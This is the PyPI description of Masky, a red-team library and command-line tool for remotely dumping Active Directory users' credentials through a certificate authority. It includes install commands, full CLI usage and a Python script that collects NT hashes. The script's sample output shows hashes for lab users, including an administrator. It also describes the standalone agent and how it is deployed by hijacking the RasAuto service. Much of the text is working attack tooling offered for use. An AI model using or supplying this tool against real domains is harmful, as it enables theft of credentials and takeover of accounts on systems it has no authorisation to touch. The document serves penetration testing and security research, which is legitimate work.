Package: masky
MaskyMasky is a python library providing an alternative way to remotely dump domain users' credentials thanks to an ADCS. A command line tool has been built on top of this library in order to easily gather PFX, NT hashes and TGT on a larger scope.This tool does not exploit any new vulnerability and does not work by dumping the LSASS process memory. Indeed, it only takes advantage of legitimate Windows and Active Directory features (token impersonation, certificate authentication via kerberos & NT hashes retrieval via PKINIT). Ablog postwas published to detail the implemented technics and how Masky works.Masky source code is largely based on the amazingCertifyandCertipytools. I really thanks their authors for the researches regarding offensive exploitation technics against ADCS (see.Acknowledgments section).InstallationMasky python3 library and its associated CLI can be simply installed via the public PyPi repository as following:pip install maskyThe Masky agent executable is already included within the PyPi package.Moreover, if you need to modify the agent, the C# code can be recompiled via a Visual Studio project located inagent/Masky.sln. It would requires.NET Framework 4to be built.UsageMasky has been designed as a Python library. Moreover, a command line interface was created on top of it to ease its usage during pentest or RedTeam activities.For both usages, you need first to retrieve the FQDN of aCA serverand itsCA namedeployed via an ADCS. This information can be easily retrieved via thecertipy findoption or via the Microsoft built-incertutil.exetool. Make sure that the defaultUsertemplate is enabled on the targeted CA.Warning: Masky deploys an executable on each target via a modification of the existingRasAutoservice. Despite the automated roll-back of its intialImagePathvalue, an unexpected error during Masky runtime could skip the cleanup phase. Therefore, do not forget to manually reset the original value in case of such unwanted stop.Command lineThe following demo shows a basic usage of Masky by targeting 4 remote systems. Its execution allows to collect NT hashes, CCACHE and PFX of 3 distincts domain users from the sec.lab testing domain.Masky also provides options that are commonly provided by such tools (thread number, authentication mode, targets loaded from files, etc. ).__  __           _
 |  \/  | __ _ ___| | ___   _
 | |\/| |/ _` / __| |/ / | | |
 | |  | | (_| \__ \   <| |_| |
 |_|  |_|\__,_|___/_|\_\__,  |
  v0.0.3                 |___/

usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
             [targets ...]

positional arguments:
  targets               Targets in CIDR, hostname and IP formats are accepted, from a file or not

options:
  -h, --help            show this help message and exit
  -v, --verbose         Enable debugging messages
  -ts, --timestamps     Display timestamps for each log
  -t THREADS, --threads THREADS
                        Threadpool size (max 15)

Authentication:
  -d DOMAIN, --domain DOMAIN
                        Domain name to authenticate to
  -u USER, --user USER  Username to authenticate with
  -p PASSWORD, --password PASSWORD
                        Password to authenticate with
  -k, --kerberos        Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
  -H HASHES, --hashes HASHES
                        Hashes to authenticate with (LM:NT, :NT or :LM)

Connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
                        Certificate Authority Name (SERVER\CA_NAME)

Results:
  -nh, --no-hash        Do not request NT hashes
  -nt, --no-ccache      Do not save ccache files
  -np, --no-pfx         Do not save pfx files
  -o OUTPUT, --output OUTPUT
                        Local path to a folder where Masky results will be stored (automatically creates the folder if it does not exit)Python libraryBelow is a simple script using the Masky library to collect secrets of running domain user sessions from a remote target.frommaskyimportMaskyfromgetpassimportgetpassdefdump_nt_hashes():# Define the authentication parametersca="srv-01.sec.lab\sec-SRV-01-CA"dc_ip="192.168.23.148"domain="sec.lab"user="askywalker"password=getpass()# Create a Masky instance with these credentialsm=Masky(ca=ca,user=user,dc_ip=dc_ip,domain=domain,password=password)# Set a target and run Masky against ittarget="192.168.23.130"rslts=m.run(target)# Check if Masky succesfully hijacked at least a user session# or if an unexpected error occuredifnotrslts:returnFalse# Loop on MaskyResult object to display hijacked users and to retreive their NT hashesprint(f"Results from hostname:{rslts.hostname}")foruserinrslts.users:print(f"\t-{user.domain}\{user.name}-{user.nt_hash}")returnTrueif__name__=="__main__":dump_nt_hashes()Its execution generate the following output.$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
         - sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
         - sec\askywalker - 8928e0723012a8471c0084149c4e23b1
         - sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988aAMaskyResultsobject containing a list ofUserobjects is returned after a successful execution of Masky.Please look at themasky\lib\results.pymodule to check the methods and attributes provided by these two classes.Standalone Masky agentFrom the Masky version 0.0.5, the standalone executable agent can now easily be ran without the Python CLI.Here are the arguments:$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)The/caparameter is mandatory as for the Python CLI. Moreover, the/currentUserargument has been added to avoir running token impersonation. Indeed, a simple certificate request will be performed in the current user context, based on the provided template (template). The/outputand/debugparameters allow to specify the path where will be created the files.The default values are the following:currentUser: false (aka. impersonation is enabled);template: User;output: ./Masky_results.txtdebug: ./Masky_debug.txtAcknowledgmentsOlivier Lyakfor theCertipytool and theassociated articlesWill SchroederandLee Christensenfor theCertifytool and theCertified Pre-OwnedarticleDirk-janfor thePKINITtoolsand itsADCS NTLM relayarticleSecureAuthCorpand the associated contributors for theImpacketlibraryPixisfor the toolLsassyIncognito tool and itsMetasploit implementationS3cur3Th1sSh1tfor the toolSharpImpersonationand theassociated articleMcAfee for their article regarding thetoken impersonation techniques